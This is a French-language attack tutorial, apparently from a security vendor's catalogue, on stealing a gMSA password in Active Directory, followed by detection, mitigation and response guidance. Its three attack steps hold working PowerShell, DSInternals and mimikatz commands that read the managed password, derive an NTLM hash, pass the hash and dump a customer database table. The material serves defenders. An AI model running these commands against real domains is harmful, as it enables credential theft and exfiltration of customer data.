Attaque des comptes de service gérés par groupe

Tutoriel d'attaque : Fonctionnement de l'attaque des comptes de service gérés par groupe

STEP 1: Discover an exploitable gMSA

Tout d'abord, un adversaire doit identifier les gMSA qu'il peut exploiter. Un adversaire doit avoir compromis soit un compte avec des permissions pour modifier les permissions du gMSA, soit un compte avec des permissions pour lire le mot de passe du gMSA. (Le compte d'ordinateur pour tout système utilisant légitimement le gMSA a la capacité de lire le mot de passe depuis Active Directory. Tout processus s'exécutant en tant qu'utilisateur NT AUTHORITY\SYSTEM est donc capable d'accéder au mot de passe du gMSA.)

Dans cet exemple, un adversaire a exploité une vulnérabilité dans un système de gestion de contenu (CMS) populaire qui permet l'exécution de code à distance sur le serveur web. Ils ont découvert que le CMS mal configuré fonctionne en tant que NT AUTHORITY\SYSTEM et énumèrent les identités sous lesquelles d'autres sites web sur le serveur fonctionnent, trouvant le gMSA SvcCustomerWeb$.

      PS C:\Windows\system32> whoami

nt authority\system

PS C:\Windows\system32> Import-Module WebAdministration

PS C:\Windows\system32> Get-ChildItem "IIS:\AppPools" | Foreach-Object {

>> $AppPoolName = $_.Name; (Get-Item "IIS:\AppPools\$($_.Name)").processModel |

>> Select @{Name = "AppPoolName"; Expression = {$AppPoolName}}, identityType, userName }

AppPoolNameidentityTypeuserName

-------------------------------

.NET v4.5ApplicationPoolIdentity

.NET v4.5 ClassicApplicationPoolIdentity

ContentManagementSystem LocalSystem

CustomerWebsiteSpecificUserSvcCustomerWeb$

DefaultAppPoolApplicationPoolIdentity

PS C:\Windows\system32>
      

ÉTAPE 2 : Compromettre le mot de passe gMSA

Next, the adversary needs to render the gMSA's 256-byte password (the equivalent of 256 characters), which is composed entirely of random bits, into a usable format. They can either convert the random bytes into a usable password or convert it to a NTLM hash, which can then be used with Pass-the-Hash or Overpass-the-Hash techniques. The DSInternals PowerShell module provides the ConvertFrom-ADManagedPasswordBlob and ConvertTo-NTHash cmdlets for these purposes.

      PS C:\Windows\system32> Install-Module -Name DSInternals -Force

PS C:\Windows\system32> Import-Module DSInternals

# Acquire gMSA password

PS C:\Windows\system32> $gMSA = ConvertFrom-ADManagedPasswordBlob (Get-ADServiceAccount SvcCustomerWeb -prop 'msDS-ManagedPassword' | Select -expand 'msDS-ManagedPassword')

# Obtain plaintext password as 128 UTF-16 characters. Note: these characters don't render well in PowerShell, so we suggest outputing the password to a file:

# e.g.: $gMSA.CurrentPassword | Out-File gMSAPassword.txt

PS C:\Windows\system32> $gMSA.CurrentPassword

ﻛୄ㫢沬뛩톈ᒰ枭로挴ꦯ黯刳䛹㍶鴝ꠅꨜ♤ཙ㘩惦鷧౨⮎鹲좺ﯞ蓼䩿뻞έ恤ㇴ倹⤇쁻ຌ௫Я딝㌥頪園ᢜ䵼烗ₖ鍥쨼蟎ꠡÑ샄ℳ⽇፬⸗睎능찈숦ﭳⲭ鎚㰽韹땦쪪騌ힾ낝૕鋹员㾶񣉰쟟㳍ْ痪Л፝堪澴캄畩ʛ뛅ꔭ궡٬鹕☑늭颹躱煉㘬ꇶ蓾蕳Ḙ蝅葳⸕獜쑨罹祇諾쨒槖켥ꁼᏣ

# Obtain NTLM hash

PS C:\Windows\system32> ConvertTo-NTHash $gMSA.SecureCurrentPassword

9a9865e4a0412c6a726ec31568cbebc7

PS C:\Windows\system32>
      

ÉTAPE 3 : Utilisez le mot de passe gMSA pour d'autres objectifs

L'adversaire peut maintenant utiliser les identifiants compromis pour poursuivre ses objectifs. Dans cet exemple, l'adversaire utilise la technique overpass-the-hash pour s'authentifier à la base de données clients et exfiltrer une liste de clients, leurs informations de contact et leurs hachages de mot de passe.

      PS C:\Windows\system32> mimikatz.exe "sekurlsa::pth /user:SvcCustomerWeb$ /domain:domain.com /ntlm:9a9865e4a0412c6a726ec31568cbebc7" exit

# A new command prompt opens

C:\Windows\system32>mssql-cli --server dbserver --username "domain\SvcCustomerWeb$" --integrated --query "SELECT SYSTEM_USER; SELECT * FROM [CustomerApp].[dbo].[Customers];"

+--------------------------+

| (No column name)|

|--------------------------|

| DOMAIN\SvcCustomerWeb$|

+--------------------------+

(1 row affected)

+--------------+-------------+-----------+----------------------------+------------------------------------------+

| customerId| givenName| surName| email| password|

|--------------+-------------+-----------+----------------------------+------------------------------------------|

| 1| Bob| Jones| bjones@stealthbitslab.com| 6367c48dd193d56ea7b0baad25b19455e529f5ee |

| 2| Suzy| Smith| smith@stealthbitslab.com| 5d04c4864322580108f66e0e64c89a9aa31aef56 |

| 3| Amy| Hawkes| ahawkes@stealthbitslab.com | bf8ffd3a80b00c3a8bf9aca2edcae9203ab7837e |

| 4| Jill| Paul| jpaul@stealthbitslab.com| 3e8e521392424218e6e1b12c6d8803ba0a8645cf |

+--------------+-------------+-----------+----------------------------+------------------------------------------+

(4 rows affected)
      

Détecter, atténuer et répondre

Détecter

Difficulté : Faible

Il peut être difficile de détecter toutes les lectures non autorisées de l’attribut msDS-ManagedPassword, en particulier lorsqu’elles se produisent sous le compte d’un ordinateur. Cependant, les utilisateurs classiques ne devraient jamais avoir accès aux mots de passe gMSA, c’est pourquoi la surveillance des journaux d’événements Active Directory afin de repérer tout accès à des mots de passe gMSA par des utilisateurs autres que des comptes d’ordinateur constitue une mesure de détection importante.

De plus, il est également essentiel de surveiller les comptes gMSA pour détecter toute modification des autorisations (attribut msDS-GroupMSAMembership) permettant de savoir quelles entités peuvent accéder au mot de passe.

L’ID d’événement 4662 dans la sous-catégorie Audit Directory Service Access enregistre des informations de base sur les utilisateurs effectuant des opérations au sein d’Active Directory pour les événements spécifiés dans la liste de contrôle d’accès du système (SACL) d’un objet.

Grâce à cet événement, il est possible de voir quand un utilisateur lit un mot de passe gMSA.
Pour identifier ces événements, il faut filtrer les journaux d’événements selon les critères suivants :

• Type d'opération : Accès à l'objet
• Accès : Lire la propriété
• Propriétés : Inclut le GUID {e362ed86-b728-0842-b27d-2dea7a9df218} C'est le GUID de l'attribut msDS-ManagedPassword.

Atténuer

Difficulté : Moyenne

Atténuer le risque d'exploitation des gMSA consiste finalement à défendre les privilèges Active Directory qui permettent à un adversaire de modifier les permissions des gMSA ou de lire le mot de passe, et à adopter d'autres meilleures pratiques pour prévenir l'infiltration :

• Auditez régulièrement les permissions de modification des comptes gMSA et adoptez rigoureusement le principe du moindre privilège.
• Effectuez régulièrement un audit de l'appartenance de l'attribut msDS-GroupMSAMembership sur chaque gMSA et assurez-vous que seuls les comptes d'ordinateurs autorisés ont le privilège d'accéder au mot de passe.
• Alertez, en temps réel, sur les modifications des permissions gMSA.

Répondez

Difficulté : Moyenne

Si un utilisateur autre qu'un compte d'ordinateur autorisé récupère le mot de passe gMSA ou qu'un changement non autorisé des permissions gMSA se produit, il existe plusieurs actions à entreprendre pour répondre immédiatement :

• Activez le processus de réponse aux incidents et alertez l'équipe de réponse.
• Réinitialisez le mot de passe de l'utilisateur qui a effectué l'action et, facultativement, désactivez cet utilisateur afin de a) forcer la réplication instantanée sur tous les contrôleurs de domaine et b) perturber l'utilisation du compte par l'adversaire.
• Réinitialisez le mot de passe pour le gMSA affecté.
• Mettez en quarantaine les machines impactées pour l'enquête médico-légale, ainsi que pour les activités d'éradication et de récupération.